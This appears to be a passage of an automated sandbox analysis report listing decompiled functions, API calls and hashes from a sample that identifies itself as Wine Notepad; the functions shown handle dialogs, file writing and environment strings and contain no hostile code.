String ID: Globals.hFindReplaceDlg != 0$main.c
API String ID: 2959152451-3286657855
Opcode ID: 44eaebb4ca31970c0a123851b15a8067445717b2ee542919cd153f5cc481d9cc
Instruction ID: 41f57e9c5970928f031c680fd1d6c010e9f5ecd0e7f927330d94a427993e8085
Opcode Fuzzy Hash: 44eaebb4ca31970c0a123851b15a8067445717b2ee542919cd153f5cc481d9cc
Instruction Fuzzy Hash: 33F031B8A01214AFE740CF6AFC88B023BE1B756B05744843AE614D63E0D7B984099B2D

Uniqueness

Uniqueness Score: -1.00%

Function 004020F8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E004020F8() {
				void* __edi;
				struct HWND__* _t2;
				intOrPtr _t5;
				intOrPtr _t6;
				void* _t8;
				void* _t11;
				signed int _t12;
				void* _t15;
				void* _t18;
				void* _t19;

				_t2 =  *0x44cf08; // 0x0
				if(_t2 == 0) {
					_t12 = 0xa;
					memset(0x44e09c, 0, _t12 << 2);
					_t5 =  *0x44cf04; // 0x0
					 *0x44e0a0 = _t5;
					_t6 =  *0x44cf00; // 0x0
					 *0x44e0a4 = _t6;
					 *0x44e09c = 0x28;
					 *0x44e0ac = 0x44cf80;
					 *0x44e0b4 = 0;
					 *0x44e0a8 = 0x10001;
					_t8 = FindTextW(0x44e09c);
					 *0x44cf08 = _t8;
					_t18 = _t15;
					__eflags = _t8;
					if(__eflags == 0) {
						_push(0x541);
						return E0040CA7D(_t11, 0x44e09c, _t18, _t19, __eflags, L"Globals.hFindReplaceDlg != 0", L"main.c");
					}
					return _t8;
				} else {
					return SetActiveWindow(_t2);
				}
			}

0x004020f8
0x004020ff
0x00402113
0x00402116
0x00402118
0x0040211d
0x00402122
0x00402127
0x0040212f
0x00402139
0x00402143
0x00402149
0x00402153
0x00402159
0x0040215e
0x0040215f
0x00402161
0x00402163
0x00000000
0x00402177
0x0040217a
0x00402101
0x00402108
0x00402108

APIs

SetActiveWindow.USER32(00000000), ref: 00402102
FindTextW.COMDLG32(0044E09C), ref: 00402153

Strings

Globals.hFindReplaceDlg != 0, xrefs: 0040216D
main.c, xrefs: 00402168

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: ActiveFindTextWindow
String ID: Globals.hFindReplaceDlg != 0$main.c
API String ID: 1462590097-3286657855
Opcode ID: bb149fa3ac7cfdc59271bd24f52ea7003e751f363738e6ea2fc5824c7a7983f6
Instruction ID: 67d82cd1c539eb53112209309783aa75c0dd9927d92a8170d36724992a29c5cf
Opcode Fuzzy Hash: bb149fa3ac7cfdc59271bd24f52ea7003e751f363738e6ea2fc5824c7a7983f6
Instruction Fuzzy Hash: 9CF04FBC601214AFE750CF2AEC88B023BE1B756B05744803AE614D63E0E7F884489B2D

Uniqueness

Uniqueness Score: -1.00%

Function 0040222B Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040222B() {
				short _v516;
				void* _t3;

				_t3 = LoadImageW( *0x44cf00, 0x300, 1, 0x30, 0x30, 0x8000);
				LoadStringW( *0x44cf00, 0x170,  &_v516, 0);
				return ShellAboutW( *0x44cf04,  &_v516, L"Wine Notepad", _t3);
			}

0x0040224b
0x00402267
0x0040228a

APIs

LoadImageW.USER32 ref: 0040224B
LoadStringW.USER32(00000170,?,00000000), ref: 00402267
ShellAboutW.SHELL32(?,Wine Notepad,00000000), ref: 00402280

Strings

Wine Notepad, xrefs: 0040226E

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: Load$AboutImageShellString
String ID: Wine Notepad
API String ID: 2733739231-3086428749
Opcode ID: db0aebb3609697b0a998c971018d2b3f8523d1f5aece1c3972849ac1423f8bc7
Instruction ID: 3f6da3bd64abdec65f1d4060ffca49c37a49db9d8fb3df9cc93eaa6dace926be
Opcode Fuzzy Hash: db0aebb3609697b0a998c971018d2b3f8523d1f5aece1c3972849ac1423f8bc7
Instruction Fuzzy Hash: C0F03035192314BBF7225B51AC8EFA53B2DF705B00F1400A1BB18650E1D6B12A148B8C

Uniqueness

Uniqueness Score: -1.00%

Function 0042EC07 Relevance: 6.3, APIs: 4, Instructions: 338
fileCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 77%

			E0042EC07(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, signed int _a8, signed char* _a12, intOrPtr _a16, intOrPtr _a20) {
				char _v16;
				signed int _v20;
				char _v28;
				signed int _v35;
				signed char _v36;
				void _v44;
				long _v48;
				signed char* _v52;
				char _v53;
				long _v60;
				intOrPtr _v64;
				struct _OVERLAPPED* _v68;
				signed int _v72;
				struct _OVERLAPPED* _v76;
				signed int _v80;
				signed int _v84;
				intOrPtr _v88;
				void _v92;
				long _v96;
				signed char* _v100;
				void* _v104;
				intOrPtr _v108;
				char _v112;
				int _v116;
				struct _OVERLAPPED* _v120;
				struct _OVERLAPPED* _v124;
				struct _OVERLAPPED* _v128;
				struct _OVERLAPPED* _v132;
				signed int _t177;
				signed int _t178;
				signed int _t180;
				signed char* _t190;
				void* _t200;
				signed char* _t201;
				long _t205;
				intOrPtr _t210;
				void _t212;
				signed char* _t217;
				void* _t224;
				signed int _t227;
				struct _OVERLAPPED* _t229;
				void* _t238;
				signed char* _t240;
				signed char* _t243;
				long _t246;
				intOrPtr _t247;
				signed char* _t248;
				void* _t258;
				intOrPtr _t265;
				struct _OVERLAPPED* _t267;
				signed int _t268;
				intOrPtr* _t279;
				signed int _t281;
				signed int _t285;
				char _t286;
				long _t287;
				signed int _t291;
				signed char* _t292;
				void* _t296;
				struct _OVERLAPPED* _t297;
				signed int _t301;
				void* _t303;
				struct _OVERLAPPED* _t304;
				signed char* _t307;
				intOrPtr* _t308;
				signed int _t310;
				long _t311;
				signed int _t312;
				signed int _t313;
				signed int _t314;
				void* _t315;
				void* _t316;
				void* _t317;

				_push(0xffffffff);
				_push(E0043FD83);
				_push( *[fs:0x0]);
				_t316 = _t315 - 0x74;
				_t177 =  *0x44b018; // 0x1989d38f
				_t178 = _t177 ^ _t314;
				_v20 = _t178;
				_push(_t178);
				 *[fs:0x0] =  &_v16;
				_t180 = _a8;
				_t307 = _a12;
				_t265 = _a20;
				_t268 = (_t180 & 0x0000003f) * 0x38;
				_t291 = _t180 >> 6;
				_v100 = _t307;
				_v64 = _t265;
				_v84 = _t291;
				_v72 = _t268;
				_v104 =  *((intOrPtr*)( *((intOrPtr*)(0x44c9f8 + _t291 * 4)) + _t268 + 0x18));
				_v88 = _a16 + _t307;
				_v116 = GetConsoleOutputCP();
				if( *((char*)(_t265 + 0x14)) == 0) {
					E0041C290(_t265, _t291);
				}
				_t308 = _a4;
				_v108 =  *((intOrPtr*)( *((intOrPtr*)(_t265 + 0xc)) + 8));
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t190 = _v100;
				_t292 = _t190;
				_v52 = _t292;
				if(_t190 < _v88) {
					_t301 = _v72;
					_t267 = 0;
					_v76 = 0;
					do {
						_v53 =  *_t292;
						_v68 = _t267;
						_v48 = 1;
						_t273 =  *(0x44c9f8 + _v84 * 4);
						_v80 = _t273;
						if(_v108 != 0xfde9) {
							if(( *(_t301 + _t273 + 0x2d) & 0x00000004) == 0) {
								_t273 =  *_t292 & 0x000000ff;
								if( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v64 + 0xc)))) + ( *_t292 & 0x000000ff) * 2)) >= _t267) {
									_push(_v64);
									_push(1);
									_push(_t292);
									goto L29;
								} else {
									_t217 =  &(_t292[1]);
									_v60 = _t217;
									if(_t217 >= _v88) {
										 *((char*)(_t301 + _v80 + 0x2e)) =  *_t292;
										 *( *(0x44c9f8 + _v84 * 4) + _t301 + 0x2d) =  *( *(0x44c9f8 + _v84 * 4) + _t301 + 0x2d) | 0x00000004;
										 *((intOrPtr*)(_t308 + 4)) = _v76 + 1;
									} else {
										_t224 = E0042CF88(_t273, _t292,  &_v68, _t292, 2, _v64);
										_t317 = _t316 + 0x10;
										if(_t224 != 0xffffffff) {
											_t201 = _v60;
											goto L31;
										}
									}
								}
							} else {
								_push(_v64);
								_v36 =  *(_t301 + _t273 + 0x2e) & 0x000000fb;
								_t227 =  *_t292;
								_v35 = _t227;
								 *(_t301 + _t273 + 0x2d) = _t227;
								_push(2);
								_push( &_v36);
								L29:
								_push( &_v68);
								_t200 = E0042CF88(_t273, _t292);
								_t317 = _t316 + 0x10;
								if(_t200 != 0xffffffff) {
									_t201 = _v52;
									goto L31;
								}
							}
						} else {
							_t229 = _t267;
							_t279 = _t273 + 0x2e + _t301;
							while( *_t279 != _t267) {
								_t229 =  &(_t229->Internal);
								_t279 = _t279 + 1;
								if(_t229 < 5) {
									continue;
								}
								break;
							}
							_t303 = _v88 - _t292;
							_v48 = _t229;
							if(_t229 == 0) {
								_t73 = ( *_t292 & 0x000000ff) + 0x44b1c0; // 0x0
								_t281 =  *_t73 + 1;
								_v80 = _t281;
								if(_t281 > _t303) {
									if(_t303 <= 0) {
										goto L44;
									} else {
										_t310 = _v72;
										do {
											 *((char*)( *(0x44c9f8 + _v84 * 4) + _t310 + _t267 + 0x2e)) =  *((intOrPtr*)(_t267 + _t292));
											_t267 =  &(_t267->Internal);
										} while (_t267 < _t303);
										goto L43;
									}
									L52:
								} else {
									_v132 = _t267;
									_v128 = _t267;
									_v60 = _t292;
									_v48 = (_t281 == 4) + 1;
									_t238 = E00434870( &_v132,  &_v68,  &_v60, (_t281 == 4) + 1,  &_v132, _v64);
									_t317 = _t316 + 0x14;
									if(_t238 != 0xffffffff) {
										_t240 =  &(_v52[_v80]);
										_t301 = _v72;
										goto L21;
									}
								}
							} else {
								_t285 = _v72;
								_t243 = _v80 + 0x2e + _t285;
								_v80 = _t243;
								_t246 =  *((char*)(( *_t243 & 0x000000ff) + 0x44b1c0)) + 1;
								_v60 = _t246;
								_t247 = _t246 - _v48;
								_v76 = _t247;
								if(_t247 > _t303) {
									if(_t303 > 0) {
										_t248 = _v52;
										_t311 = _v48;
										do {
											_t286 =  *((intOrPtr*)(_t267 + _t248));
											_t296 =  *(0x44c9f8 + _v84 * 4) + _t285 + _t267;
											_t267 =  &(_t267->Internal);
											 *((char*)(_t296 + _t311 + 0x2e)) = _t286;
											_t285 = _v72;
										} while (_t267 < _t303);
										L43:
										_t308 = _a4;
									}
									L44:
									 *((intOrPtr*)(_t308 + 4)) =  *((intOrPtr*)(_t308 + 4)) + _t303;
								} else {
									_t287 = _v48;
									_t304 = _t267;
									_t312 = _v80;
									do {
										 *((char*)(_t314 + _t304 - 0x18)) =  *_t312;
										_t304 =  &(_t304->Internal);
										_t312 = _t312 + 1;
									} while (_t304 < _t287);
									_t305 = _v76;
									if(_v76 > 0) {
										E0043A610( &_v28 + _t287, _t292, _t305);
										_t287 = _v48;
										_t316 = _t316 + 0xc;
									}
									_t301 = _v72;
									_t297 = _t267;
									_t313 = _v84;
									do {
										 *( *((intOrPtr*)(0x44c9f8 + _t313 * 4)) + _t301 + _t297 + 0x2e) = _t267;
										_t297 =  &(_t297->Internal);
									} while (_t297 < _t287);
									_t308 = _a4;
									_v112 =  &_v28;
									_v124 = _t267;
									_v120 = _t267;
									_v48 = (_v60 == 4) + 1;
									_t258 = E00434870( &_v124,  &_v68,  &_v112, (_v60 == 4) + 1,  &_v124, _v64);
									_t317 = _t316 + 0x14;
									if(_t258 != 0xffffffff) {
										_t240 =  &(_v52[_v76]);
										L21:
										_t201 = _t240 - 1;
										L31:
										_v52 = _t201 + 1;
										_t205 = E00425640(_v116, _t267,  &_v68, _v48,  &_v44, 5, _t267, _t267);
										_t316 = _t317 + 0x20;
										_v60 = _t205;
										if(_t205 != 0) {
											if(WriteFile(_v104,  &_v44, _t205,  &_v96, _t267) == 0) {
												L50:
												 *_t308 = GetLastError();
											} else {
												_t292 = _v52;
												_t210 =  *((intOrPtr*)(_t308 + 8)) + _t292 - _v100;
												_v76 = _t210;
												 *((intOrPtr*)(_t308 + 4)) = _t210;
												if(_v96 >= _v60) {
													if(_v53 != 0xa) {
														goto L38;
													} else {
														_t212 = 0xd;
														_v92 = _t212;
														if(WriteFile(_v104,  &_v92, 1,  &_v96, _t267) == 0) {
															goto L50;
														} else {
															if(_v96 >= 1) {
																 *((intOrPtr*)(_t308 + 8)) =  *((intOrPtr*)(_t308 + 8)) + 1;
																 *((intOrPtr*)(_t308 + 4)) =  *((intOrPtr*)(_t308 + 4)) + 1;
																_t292 = _v52;
																_v76 =  *((intOrPtr*)(_t308 + 4));
																goto L38;
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
						goto L51;
						L38:
					} while (_t292 < _v88);
				}
				L51:
				 *[fs:0x0] = _v16;
				return E0040361D(_v20 ^ _t314);
				goto L52;
			}

0x0042ec0c
0x0042ec0e
0x0042ec19
0x0042ec1a
0x0042ec1d
0x0042ec22
0x0042ec24
0x0042ec2a
0x0042ec2e
0x0042ec34
0x0042ec39
0x0042ec3f
0x0042ec42
0x0042ec45
0x0042ec48
0x0042ec4b
0x0042ec4e
0x0042ec58
0x0042ec5f
0x0042ec67
0x0042ec74
0x0042ec77
0x0042ec7b
0x0042ec7b
0x0042ec83
0x0042ec8b
0x0042ec90
0x0042ec91
0x0042ec92
0x0042ec93
0x0042ec96
0x0042ec98
0x0042ec9e
0x0042eca4
0x0042eca7
0x0042eca9
0x0042ecac
0x0042ecb5
0x0042ecbb
0x0042ecbe
0x0042ecc5
0x0042eccc
0x0042eccf
0x0042ee10
0x0042ee33
0x0042ee3f
0x0042ee70
0x0042ee73
0x0042ee75
0x00000000
0x0042ee41
0x0042ee41
0x0042ee44
0x0042ee4a
0x0042ef94
0x0042efa2
0x0042efab
0x0042ee50
0x0042ee5a
0x0042ee5f
0x0042ee65
0x0042ee6b
0x00000000
0x0042ee6b
0x0042ee65
0x0042ee4a
0x0042ee12
0x0042ee19
0x0042ee1c
0x0042ee1f
0x0042ee21
0x0042ee24
0x0042ee2b
0x0042ee2d
0x0042ee76
0x0042ee79
0x0042ee7a
0x0042ee7f
0x0042ee85
0x0042ee8b
0x00000000
0x0042ee8b
0x0042ee85
0x0042ecd5
0x0042ecd8
0x0042ecda
0x0042ecdc
0x0042ece0
0x0042ece1
0x0042ece5
0x00000000
0x00000000
0x00000000
0x0042ece5
0x0042ecea
0x0042ecec
0x0042ecf1
0x0042edb1
0x0042edb8
0x0042edb9
0x0042edbe
0x0042ef70
0x00000000
0x0042ef72
0x0042ef72
0x0042ef75
0x0042ef84
0x0042ef88
0x0042ef89
0x00000000
0x0042ef8d
0x00000000
0x0042edc4
0x0042edc9
0x0042edcf
0x0042edd5
0x0042edde
0x0042ede9
0x0042edee
0x0042edf4
0x0042edfd
0x0042ee00
0x00000000
0x0042ee00
0x0042edf4
0x0042ecf7
0x0042ecfa
0x0042ed00
0x0042ed02
0x0042ed0f
0x0042ed10
0x0042ed13
0x0042ed16
0x0042ed1b
0x0042ef41
0x0042ef43
0x0042ef46
0x0042ef49
0x0042ef55
0x0042ef58
0x0042ef5a
0x0042ef5b
0x0042ef5f
0x0042ef62
0x0042ef66
0x0042ef66
0x0042ef66
0x0042ef69
0x0042ef69
0x0042ed21
0x0042ed21
0x0042ed24
0x0042ed26
0x0042ed29
0x0042ed2b
0x0042ed2f
0x0042ed30
0x0042ed31
0x0042ed35
0x0042ed3a
0x0042ed44
0x0042ed49
0x0042ed4c
0x0042ed4c
0x0042ed4f
0x0042ed52
0x0042ed54
0x0042ed57
0x0042ed60
0x0042ed64
0x0042ed65
0x0042ed6c
0x0042ed72
0x0042ed7a
0x0042ed85
0x0042ed8a
0x0042ed95
0x0042ed9a
0x0042eda0
0x0042eda9
0x0042ee03
0x0042ee03
0x0042ee8e
0x0042ee93
0x0042eea5
0x0042eeaa
0x0042eead
0x0042eeb2
0x0042eecd
0x0042efb0
0x0042efb6
0x0042eed3
0x0042eed3
0x0042eede
0x0042eee0
0x0042eee3
0x0042eeec
0x0042eef6
0x00000000
0x0042eef8
0x0042eefa
0x0042eefc
0x0042ef15
0x00000000
0x0042ef1b
0x0042ef1f
0x0042ef25
0x0042ef28
0x0042ef2e
0x0042ef31
0x00000000
0x0042ef31
0x0042ef1f
0x0042ef15
0x0042eef6
0x0042eeec
0x0042eecd
0x0042eeb2
0x0042eda0
0x0042ed1b
0x0042ecf1
0x00000000
0x0042ef34
0x0042ef34
0x0042ef3d
0x0042efb8
0x0042efbd
0x0042efd3
0x00000000

APIs

GetConsoleOutputCP.KERNEL32(1989D38F,00000000,00000000,?), ref: 0042EC6A

Part of subcall function 00425640: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,004300C8,?,00000000,-00000008), ref: 004256EC

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0042EEC5
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 0042EF0D
GetLastError.KERNEL32 ref: 0042EFB0

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: bc9fdc8139a34b3df14fa1ccb1fae876d5832b9b142f50cf7b5edcbe76968acc
Instruction ID: a53dea836ef26b7dc2d758a7b1ba395d833ebbccaff088d82c73695fd233fc07
Opcode Fuzzy Hash: bc9fdc8139a34b3df14fa1ccb1fae876d5832b9b142f50cf7b5edcbe76968acc
Instruction Fuzzy Hash: A4D19BB5E00258AFCF15CFA9E980AEDBBB4FF49304F59412AE815E7351D734A802CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00423BCD Relevance: 6.1, APIs: 4, Instructions: 82
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00423BCD(intOrPtr* _a4, intOrPtr _a8, void* _a12, intOrPtr _a16) {
				intOrPtr _t17;
				intOrPtr _t18;
				intOrPtr _t20;
				intOrPtr _t30;
				char _t32;
				intOrPtr _t40;
				intOrPtr* _t42;
				intOrPtr _t43;

				_t42 = _a4;
				if(_t42 != 0) {
					_t32 = 0;
					__eflags =  *_t42;
					if( *_t42 != 0) {
						_t17 = E00425640(_a16, 0, _t42, 0xffffffff, 0, 0, 0, 0);
						__eflags = _t17;
						if(_t17 != 0) {
							_t40 = _a8;
							__eflags = _t17 -  *((intOrPtr*)(_t40 + 0xc));
							if(__eflags <= 0) {
								L11:
								_t18 = E00424631(_a16, _t42,  *((intOrPtr*)(_t40 + 8)),  *((intOrPtr*)(_t40 + 0xc)));
								__eflags = _t18;
								if(_t18 != 0) {
									 *((intOrPtr*)(_t40 + 0x10)) = _t18 - 1;
									_t20 = 0;
									__eflags = 0;
								} else {
									E00420DE2(GetLastError());
									_t20 =  *((intOrPtr*)(E00420E3C()));
								}
								L14:
								return _t20;
							}
							_t20 = E004246EC(_t40, __eflags, _t17);
							__eflags = _t20;
							if(_t20 != 0) {
								goto L14;
							}
							goto L11;
						}
						E00420DE2(GetLastError());
						return  *((intOrPtr*)(E00420E3C()));
					}
					_t43 = _a8;
					__eflags =  *((intOrPtr*)(_t43 + 0xc));
					if(__eflags != 0) {
						L6:
						 *((char*)( *((intOrPtr*)(_t43 + 8)))) = _t32;
						L2:
						 *((intOrPtr*)(_t43 + 0x10)) = _t32;
						return 0;
					}
					_t30 = E004246EC(_t43, __eflags, 1);
					__eflags = _t30;
					if(_t30 != 0) {
						return _t30;
					}
					goto L6;
				}
				_t43 = _a8;
				E004246D2(_t43);
				_t32 = 0;
				 *((intOrPtr*)(_t43 + 8)) = 0;
				 *((intOrPtr*)(_t43 + 0xc)) = 0;
				goto L2;
			}

0x00423bd4
0x00423bd9
0x00423bf7
0x00423bf9
0x00423bfc
0x00423c25
0x00423c2d
0x00423c2f
0x00423c48
0x00423c4b
0x00423c4e
0x00423c5c
0x00423c69
0x00423c6e
0x00423c70
0x00423c89
0x00423c8c
0x00423c8c
0x00423c72
0x00423c79
0x00423c84
0x00423c84
0x00423c8e
0x00000000
0x00423c8e
0x00423c53
0x00423c58
0x00423c5a
0x00000000
0x00000000
0x00000000
0x00423c5a
0x00423c38
0x00000000
0x00423c43
0x00423bfe
0x00423c01
0x00423c04
0x00423c13
0x00423c16
0x00423bed
0x00423bed
0x00000000
0x00423bf0
0x00423c0a
0x00423c0f
0x00423c11
0x00423c92
0x00423c92
0x00000000
0x00423c11
0x00423bdb
0x00423be0
0x00423be5
0x00423be7
0x00423bea
0x00000000

APIs

Part of subcall function 00425640: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,004300C8,?,00000000,-00000008), ref: 004256EC

GetLastError.KERNEL32 ref: 00423C31
__dosmaperr.LIBCMT ref: 00423C38
GetLastError.KERNEL32(?,?,?,?), ref: 00423C72
__dosmaperr.LIBCMT ref: 00423C79

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: bb10eb9b72b20aa5542df0a65871fdb8fdff27c606f177166854fd43258794c1
Instruction ID: b8151eb99f8a68d4d06da345af7c731b8b7f7996250bcd268df4f3d7025656a4
Opcode Fuzzy Hash: bb10eb9b72b20aa5542df0a65871fdb8fdff27c606f177166854fd43258794c1
Instruction Fuzzy Hash: 82210672300224AFDB11AF67A88196BB7B9EF00369780852FF919A7201D73CEE408758

Uniqueness

Uniqueness Score: -1.00%

Function 0042575E Relevance: 6.1, APIs: 4, Instructions: 74
COMMON

Download Yara Rule

C-Code - Quality: 17%

			E0042575E() {
				intOrPtr _v8;
				signed int _v12;
				WCHAR* _t5;
				void* _t6;
				intOrPtr _t9;
				WCHAR* _t19;
				WCHAR* _t26;
				WCHAR* _t29;

				_push(_t21);
				_t5 = GetEnvironmentStringsW();
				_t29 = _t5;
				if(_t29 != 0) {
					_t6 = E00425727(_t29);
					_t19 = 0;
					_v12 = _t6 - _t29 >> 1;
					_t9 = E00425640(0, 0, _t29, _t6 - _t29 >> 1, 0, 0, 0, 0);
					_v8 = _t9;
					if(_t9 != 0) {
						_t26 = E00410766(_t9);
						_push(0);
						if(_t26 != 0) {
							_push(0);
							_push(_v8);
							_push(_t26);
							_push(_v12);
							_push(_t29);
							_push(0);
							_push(0);
							if(E00425640() != 0) {
								E0041072C(0);
								_t19 = _t26;
							} else {
								E0041072C(_t26);
							}
							FreeEnvironmentStringsW(_t29);
							_t5 = _t19;
						} else {
							E0041072C();
							FreeEnvironmentStringsW(_t29);
							_t5 = 0;
						}
					} else {
						FreeEnvironmentStringsW(_t29);
						_t5 = 0;
					}
				}
				return _t5;
			}

0x00425764
0x00425766
0x0042576c
0x00425770
0x00425778
0x0042577d
0x0042578b
0x0042578e
0x00425796
0x0042579b
0x004257af
0x004257b2
0x004257b5
0x004257c8
0x004257c9
0x004257cc
0x004257cd
0x004257d0
0x004257d1
0x004257d2
0x004257dd
0x004257e8
0x004257ed
0x004257df
0x004257e0
0x004257e0
0x004257f1
0x004257f7
0x004257b7
0x004257b7
0x004257be
0x004257c4
0x004257c4
0x0042579d
0x0042579e
0x004257a4
0x004257a4
0x004257fa
0x004257fd

APIs

GetEnvironmentStringsW.KERNEL32(00000000,?,?,?,0040D5F4,00000000,0040D59B,0040DC00,00402C1D,00000007,00448100,00000014), ref: 00425766

Part of subcall function 00425640: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,004300C8,?,00000000,-00000008), ref: 004256EC

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0042579E
FreeEnvironmentStringsW.KERNEL32(00000000,00000000), ref: 004257BE

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309226306.000000000044F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_vokkqsp.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 96b5b286bd2cd6b5465ddd9c0beee91674836441f3643db3f319723c8509d538
Instruction ID: 3ced00c3bd1707d87fae662702780b670483d36c60a580fa5b5d9955351aced3
Opcode Fuzzy Hash: 96b5b286bd2cd6b5465ddd9c0beee91674836441f3643db3f319723c8509d538
Instruction Fuzzy Hash: B91108B5600A25BF662127B27CC9CBF7A9CDED53A8B90002AF905D1101EE7C9D418979

Uniqueness

Uniqueness Score: -1.00%

Function 0041F6DF Relevance: 6.1, APIs: 4, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E0041F6DF(union _LARGE_INTEGER* __edx, void* _a4, union _LARGE_INTEGER _a8, intOrPtr _a12, signed int _a16) {
				long _v8;
				void* _v12;
				union _LARGE_INTEGER* _v16;
				void* _v20;
				int _t21;
				signed int _t23;
				void* _t25;
				union _LARGE_INTEGER* _t30;

				_t30 = __edx;
				_push(1);
				if(SetFilePointerEx(_a4, 0, 0,  &_v20) == 0) {
					L1:
					_t23 = E00420E05(GetLastError(), _a16);
					L7:
					return _t23 | 0xffffffff;
				}
				_push(_a12);
				asm("cdq");
				_v12 = 0;
				_v8 = 0;
				_t21 = SetFilePointerEx(_a4, _a8, _t30,  &_v12);
				__eflags = _t21;
				if(_t21 == 0) {
					goto L1;
				}
				_t25 = _v12;
				__eflags = _v8;
				if(__eflags >= 0) {
					if(__eflags > 0) {
						L6:
						_push(0);
						SetFilePointerEx(_a4, _v20, _v16, 0);
						_t23 = _a16;
						 *((char*)(_t23 + 0x1c)) = 1;
						 *((intOrPtr*)(_t23 + 0x18)) = 0x16;
						goto L7;
					}
					__eflags = _t25 - 0x7fffffff;
					if(_t25 > 0x7fffffff) {
						goto L6;
					}
				}
				return _t25;
			}

0x0041f6df
0x0041f6eb
0x0041f6fd
0x0041f6ff
0x0041f709
0x0041f762
0x00000000
0x0041f762
0x0041f712
0x0041f71c
0x0041f722
0x0041f725
0x0041f728
0x0041f72e
0x0041f730
0x00000000
0x00000000
0x0041f732
0x0041f735
0x0041f738
0x0041f73a
0x0041f743
0x0041f743
0x0041f74e
0x0041f754
0x0041f757
0x0041f75b
0x00000000
0x0041f75b
0x0041f73c
0x0041f741
0x00000000
0x00000000
0x0041f741
0x0041f767

APIs

SetFilePointerEx.KERNEL32(?,00000000,00000000,?,00000001,?), ref: 0041F6F5
GetLastError.KERNEL32(?,?,?,?), ref: 0041F702
SetFilePointerEx.KERNEL32(?,?,?,?,?), ref: 0041F728
SetFilePointerEx.KERNEL32(?,?,?,00000000,00000000,?,?,?), ref: 0041F74E

Memory Dump Source

Source File: 00000001.00000002.309128931.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.309090479.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309203991.0000000000440000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.309219549.000000000044B000.00000004.00000001.01000000.00000004.sdmpDownload File
